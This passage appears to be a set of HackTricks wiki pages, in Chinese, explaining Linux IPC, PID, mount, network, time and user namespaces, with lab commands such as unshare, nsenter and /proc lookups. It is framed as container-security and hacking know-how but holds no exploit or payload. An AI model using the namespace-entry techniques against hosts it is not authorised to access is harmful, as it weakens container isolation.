* 在新命名空间中，PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清除。这会导致在创建新进程时 `alloc_pid` 函数无法分配新的 PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在 `unshare` 中使用 `-f` 选项来解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉出一个新进程。
* 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身成为新命名空间中的 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。

通过确保 `unshare` 使用 `-f` 标志运行，可以正确维护新的 PID 命名空间，使 `/bin/bash` 及其子进程能够正常运行，避免遇到内存分配错误。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr  4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```

### 查找所有IPC命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

### 进入 IPC 命名空间

```bash
nsenter -i TARGET_PID --pid /bin/bash
```

此外，只有**作为root用户**才能**进入另一个进程命名空间**。而且，**没有指向它的描述符**（如`/proc/self/ns/net`），**无法进入**其他命名空间。

### 创建IPC对象

```bash
# Container
sudo unshare -i /bin/bash
ipcmk -M 100
Shared memory id: 0
ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x2fba9021 0          root       644        100        0

# From the host
ipcs -m # Nothing is seen
```

## 参考资料

* <https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# PID Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

PID（进程标识符）命名空间是Linux内核中的一个功能，通过为一组进程提供自己独特的PID集合，使这些进程能够与其他命名空间中的PID分离，从而实现进程隔离。这在容器化中特别有用，因为进程隔离对于安全和资源管理至关重要。

创建新的PID命名空间时，该命名空间中的第一个进程被分配为PID 1。该进程成为新命名空间的“init”进程，并负责管理命名空间内的其他进程。在该命名空间内创建的每个后续进程将在该命名空间内具有唯一的PID，这些PID将独立于其他命名空间中的PID。

从PID命名空间内的进程的角度来看，它只能看到同一命名空间中的其他进程。它不知道其他命名空间中的进程，也无法使用传统的进程管理工具（例如`kill`、`wait`等）与其进行交互。这提供了一定程度的隔离，有助于防止进程相互干扰。

### 工作原理：

1. 当创建新进程（例如通过使用`clone()`系统调用）时，可以将该进程分配给新的或现有的PID命名空间。**如果创建了新的命名空间，该进程将成为该命名空间的“init”进程**。
2. **内核**维护着新命名空间中PID与父命名空间（即创建新命名空间的命名空间）中相应PID之间的**映射**。这种映射**允许内核在必要时转换PID**，例如在不同命名空间中的进程之间发送信号时。
3. **PID命名空间内的进程只能看到并与同一命名空间中的其他进程交互**。它们不知道其他命名空间中的进程，它们的PID在其命名空间内是唯一的。
4. 当**销毁PID命名空间**（例如当命名空间的“init”进程退出时），**该命名空间内的所有进程都将被终止**。这确保了与命名空间相关的所有资源都得到适当清理。

## 实验：

### 创建不同的命名空间

#### CLI

```bash
sudo unshare -pf --mount-proc /bin/bash
```

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当使用`unshare`命令而没有使用`-f`选项时，由于Linux处理新PID（进程ID）命名空间的方式，会遇到错误。以下是关键细节和解决方案：

1. **问题解释**：

* Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而，发起新PID命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会进入。
* 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此，`/bin/bash`及其子进程位于原始PID命名空间中。
* 在新命名空间中，`/bin/bash`的第一个子进程成为PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为PID 1具有接管孤立进程的特殊角色。Linux内核随后会在该命名空间中禁用PID分配。

2. **后果**：

* 在新命名空间中，PID 1的退出导致`PIDNS_HASH_ADDING`标志被清除。这导致`alloc_pid`函数在创建新进程时无法分配新的PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在`unshare`命令中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
* 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后，`/bin/bash`及其子进程安全地包含在这个新命名空间中，防止PID 1过早退出并允许正常的PID分配。

通过确保`unshare`使用`-f`标志运行，新PID命名空间将得到正确维护，从而使`/bin/bash`及其子进程能够正常运行，避免遇到内存分配错误。

</details>

通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例，确保新的挂载命名空间具有**准确且独立的进程信息视图，特定于该命名空间**。

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr  3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```

### 查找所有PID命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```

{% endcode %}

请注意，来自初始（默认）PID命名空间的root用户可以查看所有进程，甚至是在新PID命名空间中的进程，这就是为什么我们可以看到所有PID命名空间。

### 进入PID命名空间内部

```bash
nsenter -t TARGET_PID --pid /bin/bash
```

当您从默认命名空间进入PID命名空间时，您仍然可以看到所有进程。来自该PID命名空间的进程将能够看到PID命名空间上的新bash。

此外，只有**root用户**才能**进入另一个进程的PID命名空间**。您**无法**在没有指向其的描述符的情况下**进入**其他命名空间（例如`/proc/self/ns/pid`）

## 参考资料

* <https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上**关注我。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Mount Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

挂载命名空间是Linux内核的一个功能，提供了一组进程看到的文件系统挂载点的隔离。每个挂载命名空间都有自己的文件系统挂载点集，**一个命名空间中对挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。

挂载命名空间在容器化中特别有用，每个容器应该有自己的文件系统和配置，与其他容器和主机系统隔离开来。

### 工作原理：

1. 创建新的挂载命名空间时，它会使用**父命名空间的挂载点的副本进行初始化**。这意味着在创建时，新命名空间与其父命名空间共享相同的文件系统视图。但是，命名空间内的挂载点的任何后续更改都不会影响父命名空间或其他命名空间。
2. 当进程修改其命名空间内的挂载点，例如挂载或卸载文件系统时，**更改仅限于该命名空间**，不会影响其他命名空间。这允许每个命名空间拥有自己独立的文件系统层次结构。
3. 进程可以使用`setns()`系统调用在命名空间之间移动，或者使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个新的命名空间时，它将开始使用与该命名空间关联的挂载点。
4. **文件描述符和inode在命名空间之间共享**，这意味着如果一个命名空间中的进程有指向文件的打开文件描述符，它可以将该文件描述符**传递给另一个命名空间中的进程**，**两个进程将访问同一个文件**。但是，由于挂载点的差异，两个命名空间中文件的路径可能不相同。

## 实验：

### 创建不同的命名空间

#### 命令行界面

```bash
sudo unshare -m [--mount-proc] /bin/bash
```

通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例，确保新的挂载命名空间具有**准确且独立的进程信息视图，特定于该命名空间**。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行`unshare`时没有使用`-f`选项时，会遇到错误，这是由于Linux处理新PID（进程ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而，发起新PID命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此，`/bin/bash`及其子进程位于原始PID命名空间中。
* 在新命名空间中，`/bin/bash`的第一个子进程变为PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为PID 1具有接管孤立进程的特殊角色。然后Linux内核将在该命名空间中禁用PID分配。

2. **后果**：

* 在新命名空间中，PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这导致`alloc_pid`函数在创建新进程时无法分配新的PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
* 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后，`/bin/bash`及其子进程安全地包含在此新命名空间中，防止PID 1过早退出，并允许正常的PID分配。

通过确保`unshare`使用`-f`标志运行，新的PID命名空间将得到正确维护，使`/bin/bash`及其子进程能够正常运行，而不会遇到内存分配错误。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr  4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```

### 查找所有挂载命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

### 进入挂载命名空间

```bash
nsenter -m TARGET_PID --pid /bin/bash
```

此外，只有**root用户**才能**进入另一个进程命名空间**。而且，**没有指向它的描述符**（如`/proc/self/ns/mnt`），你**无法**进入其他命名空间。

由于新挂载点只能在命名空间内访问，因此可能存在包含只能从中访问的敏感信息的命名空间。

### 挂载某物

```bash
# Generate new mount ns
unshare -m /bin/bash
mkdir /tmp/mount_ns_example
mount -t tmpfs tmpfs /tmp/mount_ns_example
mount | grep tmpfs # "tmpfs on /tmp/mount_ns_example"
echo test > /tmp/mount_ns_example/test
ls /tmp/mount_ns_example/test # Exists

# From the host
mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example"
ls /tmp/mount_ns_example/test # Doesn't exist
```

## 参考资料

* <https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Network Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

网络命名空间是Linux内核的一个功能，提供网络堆栈的隔离，允许**每个网络命名空间拥有独立的网络配置**、接口、IP地址、路由表和防火墙规则。这种隔离在各种场景中非常有用，比如容器化，其中每个容器应该有自己独立的网络配置，独立于其他容器和主机系统。

### 工作原理：

1. 创建新的网络命名空间时，它会以一个**完全隔离的网络堆栈**开始，除了回环接口（lo）外**没有网络接口**。这意味着运行在新网络命名空间中的进程默认情况下无法与其他命名空间中的进程或主机系统通信。
2. **虚拟网络接口**，如veth对，可以被创建并在网络命名空间之间移动。这允许在命名空间之间或在命名空间和主机系统之间建立网络连接。例如，veth对的一端可以放置在容器的网络命名空间中，另一端可以连接到主机命名空间中的**桥接器**或另一个网络接口，为容器提供网络连接。
3. 命名空间内的网络接口可以拥有它们**自己的IP地址、路由表和防火墙规则**，独立于其他命名空间。这允许不同网络命名空间中的进程拥有不同的网络配置，并且可以像在独立网络系统上运行一样操作。
4. 进程可以使用`setns()`系统调用在命名空间之间移动，或者使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个新的命名空间时，它将开始使用与该命名空间关联的网络配置和接口。

## 实验：

### 创建不同的命名空间

#### 命令行界面

```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```

通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例，确保新的挂载命名空间对该命名空间特定的进程信息具有准确且隔离的视图。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行`unshare`时没有使用`-f`选项时，会出现错误，这是由于Linux处理新PID（进程ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而，发起新PID命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此，`/bin/bash`及其子进程位于原始PID命名空间中。
* 在新命名空间中，`/bin/bash`的第一个子进程变为PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为PID 1具有接管孤立进程的特殊角色。然后Linux内核会禁用该命名空间中的PID分配。

2. **后果**：

* 在新命名空间中，PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
* 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后，`/bin/bash`及其子进程安全地包含在这个新命名空间中，防止PID 1过早退出，并允许正常的PID分配。

通过确保`unshare`使用`-f`标志运行，新的PID命名空间得以正确维护，使`/bin/bash`及其子进程能够正常运行，避免遇到内存分配错误。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr  4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```

### 查找所有网络命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

\`\`\`bash nsenter -n TARGET\_PID --pid /bin/bash \`\`\` 此外，\*\*只有 root 用户才能进入另一个进程命名空间\*\*。而且，\*\*没有指向它的描述符\*\*（如 \`/proc/self/ns/net\`），\*\*无法进入\*\*其他命名空间。

## 参考资料

* <https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) 上 **关注** 我。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。

</details>


# Time Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

Linux中的时间命名空间允许对系统单调时钟和开机时间时钟进行每个命名空间的偏移。它通常用于Linux容器中，在容器内更改日期/时间并在从检查点或快照恢复后调整时钟。

## 实验室：

### 创建不同的命名空间

#### 命令行界面

```bash
sudo unshare -T [--mount-proc] /bin/bash
```

通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例，确保新的挂载命名空间对该命名空间特定的进程信息具有准确且隔离的视图。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行`unshare`时没有使用`-f`选项时，会出现错误，这是由于Linux处理新PID（进程ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而，发起新PID命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此，`/bin/bash`及其子进程位于原始PID命名空间中。
* 在新命名空间中，`/bin/bash`的第一个子进程变为PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为PID 1具有接管孤立进程的特殊角色。然后Linux内核会禁用该命名空间中的PID分配。

2. **后果**：

* 在新命名空间中，PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
* 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后，`/bin/bash`及其子进程安全地包含在此新命名空间中，防止PID 1过早退出，并允许正常的PID分配。

通过确保`unshare`使用`-f`标志运行，可以正确维护新的PID命名空间，使`/bin/bash`及其子进程能够正常运行，而不会遇到内存分配错误。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr  4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```

### 查找所有时间命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

### 进入时间命名空间

```bash
nsenter -T TARGET_PID --pid /bin/bash
```

也，只有**root用户**才能**进入另一个进程命名空间**。而且，**没有指向它的描述符**（如`/proc/self/ns/net`），你**无法**进入其他命名空间。


# User Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

用户命名空间是Linux内核的一个功能，**提供用户和组ID映射的隔离**，允许每个用户命名空间拥有**自己的用户和组ID集合**。这种隔离使得在不同用户命名空间中运行的进程可以**拥有不同的特权和所有权**，即使它们在数字上共享相同的用户和组ID。

用户命名空间在容器化中特别有用，每个容器应该有自己独立的用户和组ID集合，从而在容器和主机系统之间实现更好的安全性和隔离。

### 工作原理：

1. 创建新用户命名空间时，它**从一个空的用户和组ID映射集开始**。这意味着在新用户命名空间中运行的任何进程**最初在命名空间外部没有特权**。
2. 可以在新命名空间和父（或主机）命名空间之间建立ID映射。这**允许新命名空间中的进程具有与父命名空间中的用户和组ID相对应的特权和所有权**。但是，ID映射可以限制为特定范围和ID子集，从而对在新命名空间中的进程授予的特权进行精细控制。
3. 在用户命名空间内，**进程可以拥有完整的根特权（UID 0）用于命名空间内的操作**，同时在命名空间外部具有有限特权。这允许**容器在其自己的命名空间中以类似根用户的能力运行，而不会在主机系统上具有完整的根特权**。
4. 进程可以使用`setns()`系统调用在命名空间之间移动，或者使用带有`CLONE_NEWUSER`标志的`unshare()`或`clone()`系统调用创建新命名空间。当进程移动到新命名空间或创建一个时，它将开始使用与该命名空间关联的用户和组ID映射。

## 实验：

### 创建不同的命名空间

#### 命令行界面

```bash
sudo unshare -U [--mount-proc] /bin/bash
```

通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例，确保新的挂载命名空间具有**准确且独立的进程信息视图，特定于该命名空间**。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行`unshare`时没有使用`-f`选项时，会遇到错误，这是由于Linux处理新PID（进程ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而，发起新PID命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此，`/bin/bash`及其子进程位于原始PID命名空间中。
* 在新命名空间中，`/bin/bash`的第一个子进程变为PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为PID 1具有接管孤立进程的特殊角色。然后Linux内核会禁用该命名空间中的PID分配。

2. **后果**：

* 在新命名空间中，PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
* 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后，`/bin/bash`及其子进程安全地包含在此新命名空间中，防止PID 1过早退出，并允许正常的PID分配。

通过确保`unshare`使用`-f`标志运行，新的PID命名空间得以正确维护，使`/bin/bash`及其子进程能够正常运行，避免遇到内存分配错误。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

要使用用户命名空间，Docker 守护程序需要使用 **`--userns-remap=default`** 启动（在 Ubuntu 14.04 中，可以通过修改 `/etc/default/docker` 然后执行 `sudo service docker restart` 来完成）

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr  4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```

可以使用以下命令检查 Docker 容器中的用户映射：

```bash
cat /proc/self/uid_map
0          0 4294967295  --> Root is root in host
0     231072      65536  --> Root is 231072 userid in host
```

或者从主机执行：

```bash
cat /proc/<pid>/uid_map
```

### 查找所有用户命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

### 进入用户命名空间

```bash
nsenter -U TARGET_PID --pid /bin/bash
```

另外，只有**作为root用户**才能**进入另一个进程命名空间**。而且，**没有指向它的描述符**（比如`/proc/self/ns/user`），你**无法进入**其他命名空间。

### 创建新的用户命名空间（带映射）

{% code overflow="wrap" %}

```bash
